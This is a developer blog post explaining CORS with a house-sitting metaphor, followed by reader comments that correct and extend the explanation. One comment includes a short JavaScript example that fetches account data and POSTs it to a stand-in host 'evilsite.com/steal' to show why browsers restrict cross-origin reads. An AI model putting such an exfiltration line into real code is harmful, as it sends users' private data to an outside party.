loading...

CORS, In A Way I Can Understand

dougblackjr profile image Doug Black ・3 min read

Two days ago, I tweeted my frustration:

Tweet reads "What is CORS? CORS is added to browsers by the devil to make developers cry. Thank you for coming to my TED talk.

I was an hour in to diagnosing a tiny browser error that was breaking the entire project: "CORS error, Access-Control nice try, you can't do that, ha ha" (I'm paraphrasing).

Apparently, it resonated with a bunch of friends online.

So it got me thinking: What is CORS and how can I explain it so even I can understand it?

First, What I Learned CORS Was

Cross-Origin Resource Sharing (CORS) is a simple, browser- and server-implemented security protocol that tells which sites can communicate with which other sites.

Basically, if Site A (your site) wants to call Site B, it needs your permission to do so. But, it stops Site B from calling Site C, without your permission, and causing possible damage to your data or site, or stealing information, or any other variety of terrible things.

A great example of this would be an ad fed to you from a third-party source (which you allow) that wants to call www.stealallthispersonsdata.org (which you don't allow). The ad will show, but the data won't be stolen.

That is, if you set CORS up correctly.

And there are some beginner things to set up CORS. Here goes the way I look at it:

My Imperfect Metaphor

My wife and I need to step out of the house and we leave our 10 year old daughter in charge.

Why You Need CORS

We don't give our daughter any instructions on who to let in and what they can do. Stranger knocks on door, daughter lets stranger in. Stranger invites more strangers, robs our house, spray paints the cat, and steals our personal information.

CORS gives a framework of who is allowed in and allowed to call whom.

Setting the Access-Control-Allow-Origin

We tell our daughter, "Don't allow anyone in except for Miss Patty (our neighbor)." A knock at the door happens, and our daughter asks who it is. She then can make a decision based on who we told her to allow in.

This allows you to tell the browser which sites you will allow in.

Setting the Access-Control-Allow-Credentials

We tell our daughter, "Don't allow anyone in except for Miss Patty, or anyone who knows our secret code word."

Typically CORS doesn't include cookies or other authentication in its requests. Setting this to true throws cookies in the request as well.

Setting the Access-Control-Allow-Methods

We tell our daughter, "You can invite one friend over, but they can't paint the wall."

This tells the CORS request to allow which methods of request: GET, POST, PUT, DELETE. So, if you wanted a site to do a GET, but not to update anything, you can do that.

Setting the Access-Control-Max-Age

We tell our daughter, "You can invite one friend over, but they have to leave at 6 PM."

This one is really imperfect. This sets the value in seconds to cache preflight request results, such as the data in Access-Control-Allow-Headers and Access-Control-Allow-Methods headers.

There's More!

CORS is a concept I'm just beginning to understand. Help me fill in the blanks! What's missing here? What can be added to the metaphor?

Discussion

pic
Editor guide
Collapse
grimlck profile image
Michael

Hey Doug,

since CORS was bothering me too lately I fully understand your pain :) and I'd like to try to shed some light. Unfortinately the metaphor you came up with doesn't explain the concept behind CORS. But first things first, browsers implement something called "Same-origin Policy" (SOP) (en.wikipedia.org/wiki/Same-origin_...) that says, two websites can load each others contents only if they are both from the same origin where an origin is composed of the scheme the host name and the port - like "example.org:443" (when using standard ports those can be omitted). If the origins of the two sites differ, loading content from each other is not permitted, unless we use CORS to poke little holes into the SOP (even bigger holes when you are not careful enough).

Furthermore CORS response headers are only set on the remote resources, that means you are not able to permit or deny the loading of external content with them on your end. This could be achieved with the use of a "Content Security Policy" (this is what you describe in your ad example and this is where your metaphor applies).

Now for CORS the easiest example is the scenario where you would include a web font, hosted on one of those font sites (Site B), on your website (Site A). Because web fonts are subject to CORS the provider has to make sure that browsers are able to call the resource by adding the header "Access-Control-Allow-Origin" normally with an asterisk (*) as value because the provider doesn't know which origins stop by. A browser would load Site A - detects it should load a font from Site B (another origin) - sends a CORS request to get the resource - finds a valid CORS response header - displays the font.

And finally we get back to your metaphor where we have to shift the perspective a bit. You would tell your child to give away your car key when you are away but you do not tell her to whom. Then a stranger couldn't even knock on your door (because of that annoying error message :D). You could also tell her, give the key only to your grandma. The situation for a stranger wouldn't change, still not able to knock. But when her grandma stands at the door and requests the key your daughter would give it to her. The last possibility is, you think "what the heck", you can give the key to anyone who knocks. A stranger comes by, knocks, requests the key and has a nice ride in your car.

I hope this helps to understand CORS a little bit better.

Further reading:

Some advice at the end:

  • be careful when designing CORS rules
  • use wildcards in "Access-Control-Allow-Origin" only if it is a public resource
  • be cautious with CORS headers when using intermediate caches
Collapse
dougblackjr profile image
Doug Black Author

This is fantastic, thank you!

Collapse
nektro profile image
Meghan (she/her)

CORS is so frustrating because because just like your metaphors, it's imperfect. CORS is the wrong solution to a very important problem. In a world of APIs and SPAs, JavaScript can do quite a lot. Say for instance you happen to accidentally go to badsite.com or I can somehow get badsite.com injected into an <iframe> of goodsite.com ((which can stopped with frame-src in CSP)).

I imagine you might have a google account. Without CORS, badsite.com would be allowed to do something very similar to the following:

fetch("https://google.com/api/account_details/@me/everything")
.then(response => response.json())
.then(data => fetch("https://evilsite.com/steal", {method:"POST", body:data});

By having hosts whitelist the sites that are allowed to connect to them (and read the response) developers can know exactly who will be using their site.


This sounds great! Why don't I like it? CORS was added before the JS permission model and Promises. I've run into a few public APIs where they didn't add the proper CORS headers because maybe they didn't know about CORS or they intend for the API to be mostly consumed by non-Web functions (which don't listen to CORS (the browser is the only thing that enforces it)).

This leaves you an unfortunate predicament where you can either try and contact them and try and get the site admin to add the headers (which doesn't always work) or you can use a proxy like cors.io (but the reliability of that site being up is entirely out of your hands.)

Is there an alternative? Yes, of course! Let's look at an example:

// dev.to/account/import/medium_article
fetch("https://medium.com/api/article/501d")
.then(x => x.json())
.then(x => {
    // code...
});

fetch is a built-in function originally added to replace XMLHttpRequest. But since it uses Promises, it would be perfect for this. In the same way that your browser will ask you if it's okay for a site to send you notifications, or auto-play video, they could ask if you're okay with a site connecting to an origin. If the user says no, reject the Promise. So if evilsite.com requests google.com you say no, but if dev.to requests medium.com while you're trying to import a Medium article the fetch succeeds with a normal non-opaque response.


Sorry for the tangent, this is probably an article in the making, but I hope this helped!

Collapse
dougblackjr profile image
Doug Black Author

This helps immensely! Thank you!

Collapse
lindalawtondk profile image
Linda Lawton

Ok I have some questions since i have been struggling with this for ages now.

If Miss Patty comes over and someone knocks on the door can she let them in? Or is your daughter still the only one that can open the door?

Wouldn't it be easier to set what something can do instead of what they cant do. Your friend cant paint the walls doesn't mean that they cant paint the ceiling or for that matter the lap hanging on the wall.

CSP would be another great topic.

Collapse
coatsnmore profile image
Nick Coats

The pre-flight request (OPTIONS) is issued by the browser before the original request is sent to the server and will mostly match the intended request. For illustration, GET /books/1234 would look something like OPTIONS /books/1234. The server should be setting the pre-flight response appropriate to the resource on the server. So OPTIONS /wall?paint can return different allowed methods than OPTIONS /ceiling?paint. It is a responsibility of the server to enforce specific CORS policies.

I am of the personal opinion that CORS is currently pointless since browsers have to opt-in to implementing this control. It does a great job of being descriptive to the browser user-agent of the capabilities of the resource, but that description generally is hard to describe in any efficient way (assuming large sets of APIs).

If you are serving traffic from user-agents that are not a browser, than the API is essentially acting public anyway and the CORS control is no longer triggered. This is where it becomes important to authenticate the User Principal and authorize against identity claims as to what that user can do with that public resource. This is where OAuth and Open ID Connect play.

Collapse
jsn1nj4 profile image
JSn1nj4‍‍👨‍💻

I'm curious. Have you had your cat spray-painted before?

Collapse
dougblackjr profile image
Doug Black Author

LOL! Not yet, but the year is young!